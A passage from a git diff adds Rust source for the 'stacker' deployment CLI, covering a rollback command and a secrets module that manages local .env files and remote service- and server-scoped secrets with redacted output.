info.deployment_hash, + info.status, + if force { " [forced]" } else { "" }, + ); + + let updated = ctx + .client + .force_complete_deployment(info.id, force) + .await?; + + eprintln!( + "✓ Deployment #{} status changed to '{}'", + updated.id, updated.status + ); + + Ok::<(), CliError>(()) + })?; + + Ok(()) + } +} diff --git a/stacker/stacker/src/console/commands/cli/rollback.rs b/stacker/stacker/src/console/commands/cli/rollback.rs new file mode 100644 index 0000000..0beb3e1 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/rollback.rs @@ -0,0 +1,112 @@ +use crate::cli::config_parser::{DeployTarget, StackerConfig}; +use crate::cli::credentials::{CredentialsManager, StoredCredentials}; +use crate::cli::error::CliError; +use crate::cli::install_runner::normalize_stacker_server_url; +use crate::cli::stacker_client::{self, StackerClient}; +use crate::console::commands::CallableTrait; + +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +/// `stacker rollback --version --confirm` +/// +/// Requests a safe marketplace rollback to a known template version. +pub struct RollbackCommand { + pub version: String, + pub confirm: bool, +} + +impl RollbackCommand { + pub fn new(version: String, confirm: bool) -> Self { + Self { version, confirm } + } +} + +fn resolve_project_name(config: &StackerConfig) -> String { + config + .project + .identity + .clone() + .unwrap_or_else(|| config.name.clone()) +} + +fn resolve_stacker_base_url(creds: &StoredCredentials) -> String { + creds + .server_url + .as_deref() + .map(normalize_stacker_server_url) + .unwrap_or_else(|| stacker_client::DEFAULT_STACKER_URL.to_string()) +} + +impl CallableTrait for RollbackCommand { + fn call(&self) -> Result<(), Box> { + if !self.confirm { + return Err(Box::new(CliError::ConfigValidation( + "Rollback requires --confirm (-y) flag. This will redeploy the selected marketplace version." + .to_string(), + ))); + } + + let project_dir = std::env::current_dir()?; + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + + if !config_path.exists() { + return Err(Box::new(CliError::ConfigValidation( + "No stacker.yml found. Run 'stacker init' first.".to_string(), + ))); + } + + let config = StackerConfig::from_file(&config_path)? + .with_resolved_deploy_target(None) + .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?; + + let project_name = resolve_project_name(&config); + + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token("rollback")?; + let base_url = resolve_stacker_base_url(&creds); + let version = self.version.clone(); + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!("Failed to initialize async runtime: {}", e), + })?; + + rt.block_on(async move { + let client = StackerClient::new(&base_url, &creds.access_token); + let project = client.find_project_by_name(&project_name).await?; + let project = project.ok_or_else(|| CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!("Project '{}' not found on server.", project_name), + })?; + + eprintln!( + "Rolling back project '{}' to version '{}'...", + project_name, version + ); + let response = client.rollback_project(project.id, &version).await?; + + if let Some(meta) = response.meta { + if let Some(deployment_id) = + meta.get("deployment_id").and_then(|value| value.as_i64()) + { + eprintln!( + "✓ Rollback requested for project '{}' to version '{}' (deployment #{})", + project_name, version, deployment_id + ); + return Ok::<(), CliError>(()); + } + } + + eprintln!( + "✓ Rollback requested for project '{}' to version '{}'", + project_name, version + ); + Ok::<(), CliError>(()) + })?; + + Ok(()) + } +} diff --git a/stacker/stacker/src/console/commands/cli/secrets.rs b/stacker/stacker/src/console/commands/cli/secrets.rs new file mode 100644 index 0000000..74bc94d --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/secrets.rs @@ -0,0 +1,2044 @@ +//! Secrets / env management commands. +//! +//! Reads and writes a `.env` file (defaults to the path specified by +//! `env_file` in `stacker.yml`, falling back to `.env`). +//! +//! ```text +//! stacker secrets set KEY=VALUE [--file .env] +//! stacker secrets get KEY [--file .env] [--show] +//! stacker secrets list [--file .env] [--show] +//! stacker secrets delete KEY [--file .env] +//! stacker secrets validate [--file stacker.yml] +//! ``` + +use std::fmt; +use std::io::{self, IsTerminal, Read}; +use std::path::{Path, PathBuf}; + +use crate::cli::config_parser::{ServiceDefinition, StackerConfig}; +use crate::cli::deployment_lock::DeploymentLock; +use crate::cli::error::CliError; +use crate::cli::runtime::CliRuntime; +use crate::cli::stacker_client::{ + ProjectAppInfo, ProjectAppRegistrationRequest, ProjectInfo, RemoteSecretMetadataInfo, +}; +use crate::console::commands::cli::agent::AgentDeployAppCommand; +use crate::console::commands::CallableTrait; +use clap::ValueEnum; + +const DEFAULT_ENV_FILE: &str = ".env"; +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +#[derive(Clone, Copy, Debug, PartialEq, Eq, ValueEnum)] +pub enum RemoteSecretScope { + Service, + Server, +} + +#[derive(Clone, Debug, PartialEq, Eq)] +struct RemoteSecretTarget { + scope: RemoteSecretScope, + project: Option, + service: Option, + server_id: Option, +} + +impl RemoteSecretTarget { + fn new( + scope: RemoteSecretScope, + project: Option, + service: Option, + server_id: Option, + ) -> Self { + Self { + scope, + project, + service, + server_id, + } + } + + fn validate(&self) -> Result<(), CliError> { + match self.scope { + RemoteSecretScope::Service => { + if self.service.as_deref().unwrap_or_default().is_empty() { + return Err(CliError::ConfigValidation( + "Service-scoped secrets require --service".to_string(), + )); + } + if self.server_id.is_some() { + return Err(CliError::ConfigValidation( + "Service-scoped secrets do not accept --server-id".to_string(), + )); + } + } + RemoteSecretScope::Server => { + if self.project.is_some() || self.service.is_some() { + return Err(CliError::ConfigValidation( + "Server-scoped secrets do not accept --project or --service".to_string(), + )); + } + } + } + + Ok(()) + } + + fn project_ref(&self) -> Option<&str> { + self.project.as_deref() + } + + fn service_code(&self) -> Option<&str> { + self.service.as_deref() + } + + fn server_id(&self) -> Option { + self.server_id + } +} + +#[derive(Clone, PartialEq, Eq)] +struct RemoteSecretWriteOptions { + name: String, + target: RemoteSecretTarget, + body: Option, + body_file: Option, +} + +impl fmt::Debug for RemoteSecretWriteOptions { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("RemoteSecretWriteOptions") + .field("name", &self.name) + .field("target", &self.target) + .field("body", &self.body.as_ref().map(|_| "[REDACTED]")) + .field("body_file", &self.body_file) + .finish() + } +} + +impl RemoteSecretWriteOptions { + fn validate(&self) -> Result<(), CliError> { + validate_secret_name(&self.name)?; + self.target.validate()?; + Ok(()) + } +} + +#[derive(Clone, Debug, PartialEq, Eq)] +struct RemoteSecretReadOptions { + name: String, + target: RemoteSecretTarget, + json: bool, +} + +impl RemoteSecretReadOptions { + fn validate(&self) -> Result<(), CliError> { + validate_secret_name(&self.name)?; + self.target.validate()?; + Ok(()) + } +} + +#[derive(Clone, Debug, PartialEq, Eq)] +struct RemoteSecretListOptions { + target: RemoteSecretTarget, + json: bool, +} + +impl RemoteSecretListOptions { + fn validate(&self) -> Result<(), CliError> { + self.target.validate() + } +} + +#[derive(Clone, Debug, PartialEq, Eq)] +struct RemoteSecretPushOptions { + target: RemoteSecretTarget, + force: bool, + json: bool, + deployment: Option, + environment: Option, +} + +impl RemoteSecretPushOptions { + fn validate(&self) -> Result<(), CliError> { + self.target.validate() + } +} + +fn validate_secret_name(name: &str) -> Result<(), CliError> { + let valid_key = regex::Regex::new(r"^[A-Za-z_][A-Za-z0-9_]*$").unwrap(); + if valid_key.is_match(name) { + Ok(()) + } else { + Err(CliError::ConfigValidation(format!( + "Invalid key '{}': must match [A-Za-z_][A-Za-z0-9_]*", + name + ))) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Shared helpers +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Read `.env` file and return all lines (preserving comments/blanks). +fn read_env_lines(path: &Path) -> Result, CliError> { + if !path.exists() { + return Ok(Vec::new()); + } + let content = std::fs::read_to_string(path)?; + Ok(content.lines().map(|l| l.to_string()).collect()) +} + +/// Parse a single `.env` line into `Some((key, value))` or `None` for +/// comment / blank / malformed lines. +fn parse_env_line(line: &str) -> Option<(String, String)> { + let trimmed = line.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + return None; + } + if let Some(pos) = trimmed.find('=') { + let key = trimmed[..pos].trim().to_string(); + let raw_val = trimmed[pos + 1..].trim(); + // Strip optional surrounding quotes + let value = if (raw_val.starts_with('"') && raw_val.ends_with('"')) + || (raw_val.starts_with('\'') && raw_val.ends_with('\'')) + { + raw_val[1..raw_val.len() - 1].to_string() + } else { + raw_val.to_string() + }; + Some((key, value)) + } else { + None + } +} + +/// Write lines back to an `.env` file (creates it if absent). +fn write_env_lines(path: &Path, lines: &[String]) -> Result<(), CliError> { + // Ensure parent directory exists + if let Some(parent) = path.parent() { + if !parent.as_os_str().is_empty() { + std::fs::create_dir_all(parent)?; + } + } + std::fs::write(path, lines.join("\n") + "\n")?; + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o600))?; + } + Ok(()) +} + +/// Resolve the env file path: use explicit `--file`, otherwise look in +/// `stacker.yml`'s `env_file` field, otherwise default to `.env`. +fn validate_env_path(p: &str) -> Result { + let path = Path::new(p); + for component in path.components() { + if let std::path::Component::ParentDir = component { + return Err(CliError::ConfigValidation(format!( + "Path traversal ('..') is not allowed for --file: {}", + p + ))); + } + } + Ok(PathBuf::from(p)) +} + +fn resolve_env_path(explicit: Option<&str>) -> Result { + if let Some(p) = explicit { + return validate_env_path(p); + } + // Try to read from stacker.yml + if let Ok(content) = std::fs::read_to_string(DEFAULT_CONFIG_FILE) { + for line in content.lines() { + let trimmed = line.trim(); + if trimmed.starts_with("env_file:") { + let val = trimmed["env_file:".len()..] + .trim() + .trim_matches('"') + .trim_matches('\''); + if !val.is_empty() { + return validate_env_path(val); + } + } + } + } + Ok(PathBuf::from(DEFAULT_ENV_FILE)) +} + +fn load_project_identity_from_config(path: &Path) -> Result, CliError> { + if !path.exists() { + return Ok(None); + } + + let config = StackerConfig::from_file_raw(path)?; + Ok(config + .project + .identity + .map(|value| value.trim().to_string()) + .filter(|value| !value.is_empty())) +} + +fn resolve_service_project_reference(explicit: Option<&str>) -> Result { + resolve_service_project_reference_with_config(explicit, Path::new(DEFAULT_CONFIG_FILE)) +} + +fn resolve_service_project_reference_with_config( + explicit: Option<&str>, + config_path: &Path, +) -> Result { + if let Some(project) = explicit.map(str::trim).filter(|value| !value.is_empty()) { + return Ok(project.to_string()); + } + + if let Some(project) = load_project_identity_from_config(config_path)? { + return Ok(project); + } + + Err(CliError::ConfigValidation( + "Service-scoped secrets require --project, or set project.identity in stacker.yml." + .to_string(), + )) +} + +fn resolve_remote_secret_value(options: &RemoteSecretWriteOptions) -> Result { + if let Some(body) = &options.body { + return Ok(body.clone()); + } + + if let Some(body_file) = &options.body_file { + return std::fs::read_to_string(body_file).map_err(CliError::from); + } + + if !io::stdin().is_terminal() { + let mut buffer = String::new(); + io::stdin().read_to_string(&mut buffer)?; + if !buffer.is_empty() { + return Ok(buffer); + } + } + + Err(CliError::ConfigValidation( + "Remote secrets set requires --body, --body-file, or stdin input".to_string(), + )) +} + +fn remap_remote_secret_error(operation: &str, error: CliError) -> CliError { + match error { + CliError::DeployFailed { reason, .. } => CliError::FeatureFailed { + feature: operation.to_string(), + reason, + }, + other => other, + } +} + +/// Resolve a server ID from the deployment lock file when `--server-id` was not provided. +/// +/// Reads `.stacker/deployment-cloud.lock` (or the generic lock), looks up the +/// server by name via the API, and returns its platform ID. +fn resolve_server_id_from_lock(ctx: &CliRuntime) -> Result { + let project_dir = std::env::current_dir().map_err(|e| { + CliError::ConfigValidation(format!("Cannot determine project directory: {}", e)) + })?; + + let lock = DeploymentLock::load_active(&project_dir) + .map_err(|e| CliError::ConfigValidation(format!("Failed to read deployment lock: {}", e)))? + .ok_or_else(|| { + CliError::ConfigValidation( + "No deployment lock found. Run `stacker deploy` first or provide --server-id." + .to_string(), + ) + })?; + + let server_name = lock.server_name.ok_or_else(|| { + CliError::ConfigValidation( + "Deployment lock has no server name. Provide --server-id explicitly.".to_string(), + ) + })?; + + let server = ctx + .block_on(ctx.client.find_server_by_name(&server_name))? + .ok_or_else(|| { + CliError::ConfigValidation(format!( + "Server '{}' from deployment lock not found on the Stacker platform. \ + Provide --server-id explicitly.", + server_name + )) + })?; + + Ok(server.id) +} + +fn resolve_project( + ctx: &CliRuntime, + reference: &str, + operation: &str, +) -> Result { + ctx.block_on(ctx.client.find_project(reference)) + .map_err(|error| remap_remote_secret_error(operation, error))? + .ok_or_else(|| CliError::ConfigValidation(format!("Project '{}' was not found", reference))) +} + +#[cfg(test)] +fn project_app_codes(project: &ProjectInfo) -> Vec { + let mut codes: Vec = Vec::new(); + for group in ["web", "service", "feature"] { + if let Some(apps) = project + .metadata + .get("custom") + .and_then(|custom| custom.get(group)) + .and_then(|web| web.as_array()) + { + codes.extend( + apps.iter() + .filter_map(|app| app.get("code").and_then(|code| code.as_str())) + .map(|code| code.to_string()), + ); + } + } + + codes.sort(); + codes.dedup(); + codes +} + +fn resolve_remote_service_code( + ctx: &CliRuntime, + project: &ProjectInfo, + requested: &str, + operation: &str, +) -> Result { + let apps = ctx + .block_on(ctx.client.list_project_apps(project.id)) + .map_err(|error| remap_remote_secret_error(operation, error))?; + + resolve_remote_service_code_from_apps(&project.name, &apps, requested) +} + +fn resolve_remote_service_code_from_apps( + project_name: &str, + apps: &[ProjectAppInfo], + requested: &str, +) -> Result { + let mut available_codes = apps + .iter() + .map(|app| app.code.clone()) + .collect::>(); + available_codes.sort(); + available_codes.dedup(); + + if available_codes.is_empty() { + return Err(CliError::ConfigValidation(format!( + "No remote secret targets are registered for project '{}'. Run `stacker deploy --target ` to sync project/service registration, then run `stacker secrets apps` to list valid targets.", + project_name + ))); + } + + let requested_lower = requested.to_lowercase(); + if let Some(code) = available_codes + .iter() + .find(|code| code.to_lowercase() == requested_lower) + { + return Ok(code.clone()); + } + + Err(CliError::ConfigValidation(format!( + "Unknown remote secret target '{}' for project '{}'. Available targets: {}. Run `stacker deploy --target ` to sync project/service registration, then run `stacker secrets apps`.", + requested, + project_name, + available_codes.join(", ") + ))) +} + +fn available_project_app_codes(apps: &[ProjectAppInfo]) -> Vec { + let mut available_codes = apps + .iter() + .map(|app| app.code.clone()) + .collect::>(); + available_codes.sort(); + available_codes.dedup(); + available_codes +} + +fn local_service_names(config: &StackerConfig) -> Vec { + let mut names = config + .services + .iter() + .map(|service| service.name.clone()) + .collect::>(); + names.sort(); + names.dedup(); + names +} + +fn find_local_service<'a>( + config: &'a StackerConfig, + requested: &str, +) -> Option<&'a ServiceDefinition> { + let requested_lower = requested.to_lowercase(); + config + .services + .iter() + .find(|service| service.name.to_lowercase() == requested_lower) +} + +fn service_registration_request( + service: &ServiceDefinition, + deployment_hash: Option, +) -> ProjectAppRegistrationRequest { + let env = if service.environment.is_empty() { + None + } else { + Some(serde_json::json!(service.environment)) + }; + let ports = if service.ports.is_empty() { + None + } else { + Some(serde_json::json!(service.ports)) + }; + let volumes = if service.volumes.is_empty() { + None + } else { + Some(serde_json::json!(service.volumes)) + }; + let depends_on = if service.depends_on.is_empty() { + None + } else { + Some(serde_json::json!(service.depends_on)) + }; + + ProjectAppRegistrationRequest { + code: service.name.clone(), + name: Some(service.name.clone()), + image: service.image.clone(), + env, + ports, + volumes, + depends_on, + enabled: Some(true), + deploy_order: None, + deployment_hash, + } +} + +fn active_deployment_hash(ctx: &CliRuntime, project: &ProjectInfo) -> Option { + ctx.block_on(ctx.client.agent_snapshot_by_project(project.id)) + .ok() + .map(|(_, hash)| hash) +} + +fn register_service_target( + ctx: &CliRuntime, + project: &ProjectInfo, + service: &ServiceDefinition, + operation: &str, +) -> Result { + let deployment_hash = active_deployment_hash(ctx, project); + let request = service_registration_request(service, deployment_hash); + ctx.block_on(ctx.client.upsert_project_app(project.id, &request)) + .map_err(|error| remap_remote_secret_error(operation, error)) +} + +fn register_local_service_target( + ctx: &CliRuntime, + project: &ProjectInfo, + requested: &str, + operation: &str, + remote_apps: &[ProjectAppInfo], +) -> Result { + let config_path = Path::new(DEFAULT_CONFIG_FILE); + let config = StackerConfig::from_file(config_path)?; + let Some(service) = find_local_service(&config, requested) else { + let local = local_service_names(&config); + let remote = available_project_app_codes(remote_apps); + return Err(CliError::ConfigValidation(format!( + "Unknown service target '{}'. Local services in stacker.yml: {}. Remote targets: {}.", + requested, + if local.is_empty() { + "(none)".to_string() + } else { + local.join(", ") + }, + if remote.is_empty() { + "(none)".to_string() + } else { + remote.join(", ") + } + ))); + }; + + register_service_target(ctx, project, service, operation) +} + +fn resolve_or_register_remote_service_code( + ctx: &CliRuntime, + project: &ProjectInfo, + requested: &str, + operation: &str, +) -> Result { + let apps = ctx + .block_on(ctx.client.list_project_apps(project.id)) + .map_err(|error| remap_remote_secret_error(operation, error))?; + + match resolve_remote_service_code_from_apps(&project.name, &apps, requested) { + Ok(code) => Ok(code), + Err(_) => { + let app = register_local_service_target(ctx, project, requested, operation, &apps)?; + eprintln!( + "✓ Registered remote secret target '{}' for project {}", + app.code, project.id + ); + Ok(app.code) + } + } +} + +fn print_remote_secret(secret: &RemoteSecretMetadataInfo, json: bool) -> Result<(), CliError> { + if json { + let rendered = serde_json::to_string_pretty(secret) + .map_err(|error| CliError::ConfigValidation(error.to_string()))?; + println!("{rendered}"); + } else { + println!("Name: {}", secret.name); + println!("Scope: {}", secret.scope); + if let Some(project_id) = secret.project_id { + println!("Project ID: {}", project_id); + } + if let Some(app_code) = &secret.app_code { + println!("Target: {}", app_code); + } + if let Some(server_id) = secret.server_id { + println!("Server ID: {}", server_id); + } + println!("Updated At: {}", secret.updated_at); + println!("Updated By: {}", secret.updated_by); + println!("Source: {}", secret.source); + println!("Value: [REDACTED]"); + } + + Ok(()) +} + +fn print_remote_secret_list( + secrets: &[RemoteSecretMetadataInfo], + json: bool, +) -> Result<(), CliError> { + if json { + let rendered = serde_json::to_string_pretty(secrets) + .map_err(|error| CliError::ConfigValidation(error.to_string()))?; + println!("{rendered}"); + return Ok(()); + } + + if secrets.is_empty() { + println!("(no remote secrets set)"); + return Ok(()); + } + + println!( + "{:<32} {:<10} {:<20} {:<26}", + "NAME", "SCOPE", "TARGET", "UPDATED" + ); + println!("{}", "─".repeat(92)); + for secret in secrets { + let target = if let Some(app_code) = &secret.app_code { + app_code.to_string() + } else if let Some(server_id) = secret.server_id { + format!("server:{server_id}") + } else { + "-".to_string() + }; + println!( + "{:<32} {:<10} {:<20} {:<26}", + secret.name, secret.scope, target, secret.updated_at + ); + } + + Ok(()) +} + +fn print_project_app_list(apps: &[ProjectAppInfo], json: bool) -> Result<(), CliError> { + if json { + let rendered = serde_json::to_string_pretty(apps) + .map_err(|error| CliError::ConfigValidation(error.to_string()))?; + println!("{rendered}"); + return Ok(()); + } + + if apps.is_empty() { + println!("(no remote secret targets found)"); + return Ok(()); + } + + println!( + "{:<24} {:<24} {:<8} {:<12} {}", + "TARGET", "NAME", "ENABLED", "PARENT", "IMAGE" + ); + println!("{}", "─".repeat(96)); + for app in apps { + println!( + "{:<24} {:<24} {:<8} {:<12} {}", + app.code, + app.name, + if app.enabled { "yes" } else { "no" }, + app.parent_app_code.as_deref().unwrap_or("-"), + app.image + ); + } + + Ok(()) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// secrets set +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker secrets set KEY=VALUE [--file .env]` +pub struct SecretsSetCommand { + mode: SecretsSetMode, +} + +#[derive(Debug)] +enum SecretsSetMode { + Local { + key_value: String, + file: Option, + }, + Remote(RemoteSecretWriteOptions), +} + +impl SecretsSetCommand { + pub fn new(key_value: String, file: Option) -> Self { + Self { + mode: SecretsSetMode::Local { key_value, file }, + } + } + + pub fn new_remote( + name: String, + scope: RemoteSecretScope, + project: Option, + service: Option, + server_id: Option, + body: Option, + body_file: Option, + ) -> Self { + Self { + mode: SecretsSetMode::Remote(RemoteSecretWriteOptions { + name, + target: RemoteSecretTarget::new(scope, project, service, server_id), + body, + body_file, + }), + } + } + + fn call_local(key_value: &str, file: Option<&str>) -> Result<(), Box> { + let pos = key_value.find('=').ok_or_else(|| { + CliError::ConfigValidation( + "Expected KEY=VALUE format (e.g. DB_PASS=secret)".to_string(), + ) + })?; + let key = key_value[..pos].trim().to_string(); + let value = key_value[pos + 1..].to_string(); + + validate_secret_name(&key)?; + + let env_path = resolve_env_path(file)?; + let mut lines = read_env_lines(&env_path)?; + + let new_line = format!("{key}={value}"); + let mut found = false; + for line in &mut lines { + if let Some((k, _)) = parse_env_line(line) { + if k == key { + *line = new_line.clone(); + found = true; + break; + } + } + } + if !found { + lines.push(new_line); + } + + write_env_lines(&env_path, &lines)?; + println!("✓ Set {key} in {}", env_path.display()); + Ok(()) + } + + fn call_remote(options: &RemoteSecretWriteOptions) -> Result<(), Box> { + options.validate()?; + let value = resolve_remote_secret_value(options)?; + let operation = "remote secrets set"; + let ctx = CliRuntime::new("remote secrets set")?; + let server_id_from_lock = || resolve_server_id_from_lock(&ctx); + + match options.target.scope { + RemoteSecretScope::Service => { + let project_ref = resolve_service_project_reference(options.target.project_ref())?; + let project = resolve_project(&ctx, &project_ref, operation)?; + let app_code = options.target.service_code().ok_or_else(|| { + CliError::ConfigValidation( + "Service-scoped secrets require --service".to_string(), + ) + })?; + let app_code = + resolve_or_register_remote_service_code(&ctx, &project, app_code, operation)?; + let secret = ctx + .block_on(ctx.client.set_service_secret( + project.id, + &app_code, + &options.name, + &value, + )) + .map_err(|error| remap_remote_secret_error(operation, error))?; + println!( + "✓ Saved {} secret {} for project {} service {}", + secret.scope, secret.name, project.id, app_code + ); + } + RemoteSecretScope::Server => { + let server_id = options + .target + .server_id() + .map_or_else(server_id_from_lock, Ok)?; + let secret = ctx + .block_on( + ctx.client + .set_server_secret(server_id, &options.name, &value), + ) + .map_err(|error| remap_remote_secret_error(operation, error))?; + println!( + "✓ Saved {} secret {} for server {}", + secret.scope, secret.name, server_id + ); + } + } + + Ok(()) + } +} + +impl CallableTrait for SecretsSetCommand { + fn call(&self) -> Result<(), Box> { + match &self.mode { + SecretsSetMode::Local { key_value, file } => { + Self::call_local(key_value, file.as_deref()) + } + SecretsSetMode::Remote(options) => Self::call_remote(options), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// secrets get +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker secrets get KEY [--file .env] [--show]` +pub struct SecretsGetCommand { + mode: SecretsGetMode, +} + +#[derive(Debug)] +enum SecretsGetMode { + Local { + key: String, + file: Option, + show: bool, + }, + Remote(RemoteSecretReadOptions), +} + +impl SecretsGetCommand { + pub fn new(key: String, file: Option, show: bool) -> Self { + Self { + mode: SecretsGetMode::Local { key, file, show }, + } + } + + pub fn new_remote( + name: String, + scope: RemoteSecretScope, + project: Option, + service: Option, + server_id: Option, + json: bool, + ) -> Self { + Self { + mode: SecretsGetMode::Remote(RemoteSecretReadOptions { + name, + target: RemoteSecretTarget::new(scope, project, service, server_id), + json, + }), + } + } +} + +impl CallableTrait for SecretsGetCommand { + fn call(&self) -> Result<(), Box> { + match &self.mode { + SecretsGetMode::Local { key, file, show } => { + let env_path = resolve_env_path(file.as_deref())?; + + if !env_path.exists() { + return Err(Box::new(CliError::EnvFileNotFound { path: env_path })); + } + + let lines = read_env_lines(&env_path)?; + for line in &lines { + if let Some((k, v)) = parse_env_line(line) { + if k == *key { + if *show { + println!("{k}={v}"); + } else { + println!("{k}=***"); + } + return Ok(()); + } + } + } + + Err(Box::new(CliError::SecretKeyNotFound { key: key.clone() })) + } + SecretsGetMode::Remote(options) => { + options.validate()?; + let operation = "remote secrets get"; + let ctx = CliRuntime::new("remote secrets get")?; + let server_id_from_lock = || resolve_server_id_from_lock(&ctx); + let secret = match options.target.scope { + RemoteSecretScope::Service => { + let project_ref = + resolve_service_project_reference(options.target.project_ref())?; + let project = resolve_project(&ctx, &project_ref, operation)?; + let app_code = options.target.service_code().ok_or_else(|| { + CliError::ConfigValidation( + "Service-scoped secrets require --service".to_string(), + ) + })?; + let app_code = + resolve_remote_service_code(&ctx, &project, app_code, operation)?; + ctx.block_on(ctx.client.get_service_secret_metadata( + project.id, + &app_code, + &options.name, + )) + .map_err(|error| remap_remote_secret_error(operation, error))? + } + RemoteSecretScope::Server => { + let server_id = options + .target + .server_id() + .map_or_else(server_id_from_lock, Ok)?; + ctx.block_on( + ctx.client + .get_server_secret_metadata(server_id, &options.name), + ) + .map_err(|error| remap_remote_secret_error(operation, error))? + } + } + .ok_or_else(|| CliError::SecretKeyNotFound { + key: options.name.clone(), + })?; + + print_remote_secret(&secret, options.json)?; + Ok(()) + } + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// secrets list +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker secrets list [--file .env] [--show]` +pub struct SecretsListCommand { + mode: SecretsListMode, +} + +#[derive(Debug)] +enum SecretsListMode { + Local { file: Option, show: bool }, + Remote(RemoteSecretListOptions), +} + +impl SecretsListCommand { + pub fn new(file: Option, show: bool) -> Self { + Self { + mode: SecretsListMode::Local { file, show }, + } + } + + pub fn new_remote( + scope: RemoteSecretScope, + project: Option, + service: Option, + server_id: Option, + json: bool, + ) -> Self { + Self { + mode: SecretsListMode::Remote(RemoteSecretListOptions { + target: RemoteSecretTarget::new(scope, project, service, server_id), + json, + }), + } + } +} + +impl CallableTrait for SecretsListCommand { + fn call(&self) -> Result<(), Box> { + match &self.mode { + SecretsListMode::Local { file, show } => { + let env_path = resolve_env_path(file.as_deref())?; + + if !env_path.exists() { + eprintln!( + "No env file found at {}. Use `stacker secrets set KEY=VALUE` to create one.", + env_path.display() + ); + return Ok(()); + } + + let lines = read_env_lines(&env_path)?; + let mut count = 0; + + println!("Secrets in {}:", env_path.display()); + for line in &lines { + if let Some((k, v)) = parse_env_line(line) { + if *show { + println!(" {k}={v}"); + } else { + println!(" {k}=***"); + } + count += 1; + } + } + + if count == 0 { + println!(" (no secrets set)"); + } else if !show { + println!(); + println!("Tip: use --show to reveal values"); + } + + Ok(()) + } + SecretsListMode::Remote(options) => { + options.validate()?; + let operation = "remote secrets list"; + let ctx = CliRuntime::new("remote secrets list")?; + let server_id_from_lock = || resolve_server_id_from_lock(&ctx); + let secrets = match options.target.scope { + RemoteSecretScope::Service => { + let project_ref = + resolve_service_project_reference(options.target.project_ref())?; + let project = resolve_project(&ctx, &project_ref, operation)?; + let app_code = options.target.service_code().ok_or_else(|| { + CliError::ConfigValidation( + "Service-scoped secrets require --service".to_string(), + ) + })?; + let app_code = + resolve_remote_service_code(&ctx, &project, app_code, operation)?; + ctx.block_on(ctx.client.list_service_secrets(project.id, &app_code)) + .map_err(|error| remap_remote_secret_error(operation, error))? + } + RemoteSecretScope::Server => { + let server_id = options + .target + .server_id() + .map_or_else(server_id_from_lock, Ok)?; + ctx.block_on(ctx.client.list_server_secrets(server_id)) + .map_err(|error| remap_remote_secret_error(operation, error))? + } + }; + + print_remote_secret_list(&secrets, options.json)?; + Ok(()) + } + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// secrets apps +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct SecretsAppsCommand { + action: SecretsAppsAction, + project: Option, + json: bool, +} + +enum SecretsAppsAction { + List, + Register { service: String }, + Sync, +} + +impl SecretsAppsCommand { + pub fn new(project: Option, json: bool) -> Self { + Self { + action: SecretsAppsAction::List, + project, + json, + } + } + + pub fn register(service: String, project: Option, json: bool) -> Self { + Self { + action: SecretsAppsAction::Register { service }, + project, + json, + } + } + + pub fn sync(project: Option, json: bool) -> Self { + Self { + action: SecretsAppsAction::Sync, + project, + json, + } + } + + fn print_registered_app(&self, app: &ProjectAppInfo) -> Result<(), CliError> { + if self.json { + let json = serde_json::to_string_pretty(app) + .map_err(|e| CliError::ConfigValidation(e.to_string()))?; + println!("{}", json); + } else { + println!( + "✓ Registered remote secret target {} (image: {})", + app.code, app.image + ); + } + Ok(()) + } +} + +impl CallableTrait for SecretsAppsCommand { + fn call(&self) -> Result<(), Box> { + let operation = "remote project apps"; + let ctx = CliRuntime::new(operation)?; + let project_ref = resolve_service_project_reference(self.project.as_deref())?; + let project = resolve_project(&ctx, &project_ref, operation)?; + + match &self.action { + SecretsAppsAction::List => { + let apps = ctx + .block_on(ctx.client.list_project_apps(project.id)) + .map_err(|error| remap_remote_secret_error(operation, error))?; + print_project_app_list(&apps, self.json)?; + } + SecretsAppsAction::Register { service } => { + let apps = ctx + .block_on(ctx.client.list_project_apps(project.id)) + .map_err(|error| remap_remote_secret_error(operation, error))?; + let app = register_local_service_target(&ctx, &project, service, operation, &apps)?; + self.print_registered_app(&app)?; + } + SecretsAppsAction::Sync => { + let config = StackerConfig::from_file(Path::new(DEFAULT_CONFIG_FILE))?; + let mut registered = Vec::new(); + for service in &config.services { + registered.push(register_service_target(&ctx, &project, service, operation)?); + } + + if self.json { + let json = serde_json::to_string_pretty(®istered) + .map_err(|e| CliError::ConfigValidation(e.to_string()))?; + println!("{}", json); + } else { + println!( + "✓ Synced {} remote secret target(s) for project {}", + registered.len(), + project.id + ); + for app in registered { + println!("- {} ({})", app.code, app.image); + } + } + } + } + Ok(()) + } +} + +// 